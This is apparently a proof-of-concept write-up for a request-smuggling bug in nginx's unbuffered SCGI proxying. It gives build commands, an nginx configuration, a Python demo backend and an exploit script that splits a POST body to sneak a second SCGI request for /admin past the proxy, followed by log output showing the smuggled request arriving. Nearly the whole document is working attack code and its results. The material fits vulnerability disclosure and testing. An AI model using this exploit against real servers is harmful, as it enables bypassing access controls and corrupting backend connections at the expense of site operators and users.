SCGI unbuffered mode sent truncated CONTENT_LENGTH causing backend desync

WORKDIR=/path/to/nginx-source
cd "$WORKDIR"

./auto/configure --prefix="$WORKDIR/build" \
  --with-http_ssl_module --with-http_v2_module
make -j"$(sysctl -n hw.ncpu 2>/dev/null || getconf _NPROCESSORS_ONLN)"
make install

cat > nginx.conf <<'NGINX'
worker_processes 1;
error_log logs/error.log debug;
pid logs/nginx.pid;

events { worker_connections 1024; }

http {
    include       conf/mime.types;
    default_type  application/octet-stream;
    access_log logs/access.log;

    upstream scgi_backend {
        server 127.0.0.1:9000;
        keepalive 1;
    }

    server {
        listen 8080;
        server_name localhost;

        location /scgi {
            include conf/scgi_params;
            scgi_pass scgi_backend;
            scgi_request_buffering off;
            scgi_pass_request_body on;
        }
    }
}
NGINX

cat > scgi_backend.py <<'PY'
from __future__ import annotations
import datetime
import socket
import socketserver

RESPONSE = b'Status: 200 OK\r\nContent-Length: 2\r\n\r\nOK'


def _read_all(sock: socket.socket, timeout: float = 3.0) -> bytes:
    sock.settimeout(timeout)
    out = bytearray()
    while True:
        try:
            chunk = sock.recv(4096)
        except socket.timeout:
            break
        if not chunk:
            break
        out += chunk
    return bytes(out)


def _parse_headers(raw: bytes) -> dict[bytes, bytes]:
    parts = raw.split(b'\x00')
    return dict(zip(parts[0::2], parts[1::2]))


class SCGIHandler(socketserver.BaseRequestHandler):
    def handle(self) -> None:
        sock: socket.socket = self.request
        raw = _read_all(sock)
        off = 0
        seen = 0

        while off < len(raw):
            i = raw.find(b':', off)
            if i == -1:
                break
            try:
                header_len = int(raw[off:i])
            except ValueError:
                break

            hs = i + 1
            he = hs + header_len
            if he + 1 > len(raw) or raw[he:he + 1] != b',':
                break

            headers = _parse_headers(raw[hs:he])
            try:
                body_len = int(headers.get(b'CONTENT_LENGTH', b'0'))
            except ValueError:
                body_len = 0

            bs = he + 1
            be = bs + body_len
            if be > len(raw):
                break

            body = raw[bs:be]
            ts = datetime.datetime.utcnow().isoformat()
            print(f'[{ts}] SCGI request from {self.client_address}: headers={headers} body={body!r}', flush=True)
            seen += 1
            off = be

        if off < len(raw):
            ts = datetime.datetime.utcnow().isoformat()
            print(f'[{ts}] Residual bytes from {self.client_address}: {raw[off:]!r}', flush=True)

        for _ in range(max(1, seen)):
            sock.sendall(RESPONSE)


class ReusableTCPServer(socketserver.TCPServer):
    allow_reuse_address = True


if __name__ == '__main__':
    with ReusableTCPServer(('127.0.0.1', 9000), SCGIHandler) as srv:
        print('SCGI demo backend listening on 127.0.0.1:9000', flush=True)
        srv.serve_forever()
PY

cat > poc_smuggle.py <<'PY'
from __future__ import annotations
import socket
import time

HOST, PORT = '127.0.0.1', 8080


def build_scgi_netstring(headers: dict[bytes, bytes], body: bytes = b'') -> bytes:
    hb = b''.join(k + b'\x00' + v + b'\x00' for k, v in headers.items())
    return str(len(hb)).encode('ascii') + b':' + hb + b',' + body


def build_payload() -> tuple[bytes, bytes]:
    prefix = b'A' * 20
    smuggled = build_scgi_netstring(
        {
            b'CONTENT_LENGTH': b'0',
            b'SCGI': b'1',
            b'REQUEST_METHOD': b'GET',
            b'REQUEST_URI': b'/admin',
        },
        b'',
    )

    body = prefix + smuggled
    req = (
        f'POST /scgi HTTP/1.1\r\n'
        f'Host: localhost\r\n'
        f'Content-Length: {len(body)}\r\n'
        f'Connection: keep-alive\r\n'
        f'\r\n'
    ).encode('ascii')
    return req + prefix, smuggled


def main() -> None:
    head, tail = build_payload()
    with socket.create_connection((HOST, PORT)) as s:
        print(f'[+] Connected to {HOST}:{PORT}')
        s.sendall(head)
        print(f'[+] Sent head ({len(head)} bytes), sleeping before tail...')
        time.sleep(1)
        s.sendall(tail)
        print(f'[+] Sent tail ({len(tail)} bytes)')

        print('[+] Response chunk #1:')
        print(s.recv(4096).decode('latin1', 'replace'))


if __name__ == '__main__':
    main()
PY

python3 scgi_backend.py > build/logs/scgi_backend.log 2>&1 &
./build/sbin/nginx -p "$(pwd)/build" -c "$(pwd)/nginx.conf"
python3 poc_smuggle.py
tail -n 10 build/logs/scgi_backend.log

pkill -f scgi_backend.py
./build/sbin/nginx -p "$(pwd)/build" -c "$(pwd)/nginx.conf" -s stop

... headers={b'CONTENT_LENGTH': b'20', ...} body=b'AAAAAAAAAAAAAAAAAAAA'
... headers={b'CONTENT_LENGTH': b'0', b'SCGI': b'1', b'REQUEST_METHOD': b'GET', b'REQUEST_URI': b'/admin'} body=b''